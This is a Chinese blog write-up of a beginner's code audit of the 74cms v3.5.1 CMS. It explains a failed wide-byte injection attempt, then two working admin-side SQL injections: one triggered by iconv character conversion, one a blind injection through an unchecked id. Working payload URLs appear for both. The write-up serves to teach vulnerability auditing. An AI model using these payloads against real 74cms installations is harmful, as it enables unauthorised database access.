代码审计 => 74cms_v3.5.1.20141128 一系列漏洞
0x01 前言
最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的《代码审计 企业级Web代码安全架构》让我这个初学者能够入门。思路特别棒。我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了。H''Homaebic师傅教会了我很多思路。抱拳了老铁。
0x02 假漏洞
在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞。出现"问题"的地方在admin/admin_article.php 20行处,
if($act == 'newslist')
{
check_permissions($_SESSION['admin_purview'],"article_show");
require_once(QISHI_ROOT_PATH.'include/page.class.php');
$key=isset($_GET['key'])?trim($_GET['key']):"";
$key_type=isset($_GET['key_type'])?intval($_GET['key_type']):"";
$oederbysql=" order BY a.article_order DESC,a.id DESC";
if ($key && $key_type>0)
{ if ($key_type===1)$wheresql=" WHERE a.title like '%{$key}%'";
elseif ($key_type===2)$wheresql=" WHERE a.id =".intval($key);
}
!empty($_GET['parentid'])? $wheresqlarr['a.parentid']=intval($_GET['parentid']):'';
!empty($_GET['type_id'])? $wheresqlarr['a.type_id']=intval($_GET['type_id']):'';
!empty($_GET['focos'])?$wheresqlarr['a.focos']=intval($_GET['focos']):'';
if (!empty($wheresqlarr)) $wheresql=wheresql($wheresqlarr);
if (!empty($_GET['settr']))
{
$settr=strtotime("-".intval($_GET['settr'])." day");
$wheresql=empty($wheresql)?" WHERE a.addtime> ".$settr:$wheresql." AND a.addtime> ".$settr;
$oederbysql=" order BY a.addtime DESC";
} $joinsql=" LEFT JOIN ".table('article_category')." AS c ON a.type_id=c.id LEFT JOIN ".table('article_property')." AS p ON a.focos=p.id ";
$total_sql="SELECT COUNT(*) AS num FROM ".table('article')." AS a ".$joinsql.$wheresql;
echo $total_sql;
$page = new page(array('total'=>$db->get_total($total_sql), 'perpage'=>$perpage));
当key_type=1的时候,没有对key进行intval处理。这个CMS是在入口对参数进行过滤,用了addslashes(),我想的是存在宽字节注入漏洞,利用
http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_article.php?act=newslist&key_type=1&key=%df' union select if(1=1,sleep(5),1)%23
结果发现利用不成功,最后用mysql监控软件发现
character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了 参考p师傅的文章浅析白盒审计中的字符编码及SQL注入
发现了一个假漏洞,非常尴尬,但是对宽字节注入有了深入的了解。
0x03 真漏洞1 后台宽字节注入漏洞(iconv引发)
在看p牛的文章时,iconv()函数在转换时的编码问题会导致注入,于是我用seay源码审计软件搜索iconv函数,发现了这么一个地方 出现问题的代码在admin/admin_ajax.php 79行处
elseif($act == 'get_jobs')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="get_id")
{
$id=intval($key);
$sql = "select * from ".table('jobs')." where id='{$id}' LIMIT 1";
}
elseif ($type=="get_jobname")
{
$sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%' LIMIT 30";
// echo $sql;
}
elseif ($type=="get_comname")
{
$sql = "select * from ".table('jobs')." where companyname like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_uid")
{
$uid=intval($key);
$sql = "select * from ".table('jobs')." where uid='{$uid}' LIMIT 30";
// echo $sql;
}
else
{
exit();
}
$result = $db->query($sql);
iconv函数将$_GET方式接受的key由utf-8编码转为GBK编码 p牛的文章讲到 “錦“这个字,它的utf-8编码是0xe98ca6
,它的gbk编码是0xe55c
。\
的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的'
被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。
test: %5c%5c%27 => \\' 明显第二个反斜杠被前一个反斜杠转义了 后面的单引号和前面的单引号成功闭合
Payload:
http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=錦' union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
注入成功。
0x04 真漏洞2 后台颜色分类处盲注
问题代码在 admin/include/admin_category_fun.php 48行处 get_color_one()函数
function get_color_one($id)
{
global $db;
$sql = "select * from ".table('color')." WHERE id=".$id."";
return $db->getone($sql);
}
由此可见 $id 参数没有经过任何处理就直接插入到sql语句中,导致注入漏洞
利用: http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_category.php?act=edit_color&id=1 and 114=ascii(substring(user(),1,1))
如果语句正常则出现图片
语句错误则出现图片
所以利用成功 导致两个注入点
实验发现第一个可以利用。。。
代码审计 => 74cms_v3.5.1.20141128 一系列漏洞的更多相关文章
- PHP代码审计03之实例化任意对象漏洞
前言 根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固.之前分别学习讲解了in_arr ...
- 记一次Hvv中遇到的API接口泄露而引起的一系列漏洞
引言 最近朋友跟我一起把之前废弃的公众号做起来了,更名为鹿鸣安全团队,后面陆续会更新个人笔记,有趣的渗透经历,内网渗透相关话题等,欢迎大家关注 前言 Hvv中的一个很有趣的漏洞挖掘过程,从一个简单的A ...
- Web渗透实验:基于Weblogic的一系列漏洞
1. 攻击机windows10 192.168.2.104 2. 靶机ip: 192.168.2.109(linux Ubantu) 192.168.2.111(windows2008R264位) 第 ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】XYHCMS V3.5URL重定向漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...
随机推荐
- vue解惑之slot(插槽)
一.插槽是个什么玩意,能吃吗 在vue中[插槽],从字面意思来看,插槽意味着[内容的增加],回到vue的使用场景,插槽就是[父组件调用子组件时,额外增加的内容]. 插槽显不显示.显示的内容是由父组件来 ...
- 【STM32H7教程】第34章 STM32H7的定时器应用之TIM1-TIM17的PWM实现
完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第34章 STM32H7的定时器应用之TIM1-T ...
- vue-element-admin在install的时候关于sass的错误信息
vue-element-admin在install的是报关于sass的错误信息 今天使用vue-element-admin给自己弄的一个微信小程序编写一个后台管理系统的时候,报关于sass的错误,下载 ...
- Docker安全扫描工具之docker-bench-security
简介 Docker Bench for Security检查关于在生产环境中部署Docker容器的几十个常见最佳实践.这些测试都是自动化的,其灵感来自CIS Docker基准1.2.0版. 这种安全扫 ...
- IT兄弟连 HTML5教程 DIV+CSS网页标准化布局的优势
标准的网页都需要对内容进行布局,以前都是采用表格的定位技术,从2005年开始逐步转向DIV+CSS的布局方式,目前绝大多数的网站都是采用这种布局方式.使用DIV+CSS对网站进行布局符合W3C标准,采 ...
- Appium 使用笔记
零.背景 公司最近有个爬虫的项目,先拿小红书下手,但是小红书很多内容 web 端没有,只能用 app 爬,于是了解到 Appium 这个强大的框架,即可以做自动化测试,也可以用来当自动化爬虫. 本文的 ...
- WPF之DataTemplateSelector的运用
本文主要记录WPF中DataTemplateSelector的运用,数据模板选择器主要运用在一些项容器中用于根据不同的数据类型选择不同的DataTemplate,以便展示不同的数据.在此以在listb ...
- PlayJava Day029
1.Java Reflection:Reflection(反射)是被视为动态语言的关键 反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息 并能直接操作任意对象的内部属性及 ...
- Mybatis的PageHelper分页插件的PageInfo的属性参数,成员变量的解释,以及页面模板
作者:个人微信公众号:程序猿的月光宝盒 //当前页 private int pageNum; //每页的数量 private int pageSize; //当前页的数量 private int si ...
- 6.Ansible Roles角色实战
==Roles小技巧:== 1.创建roles目录结构,手动或使用ansible-galaxy init test roles 2.编写roles的功能,也就是tasks. nginx rsyncd ...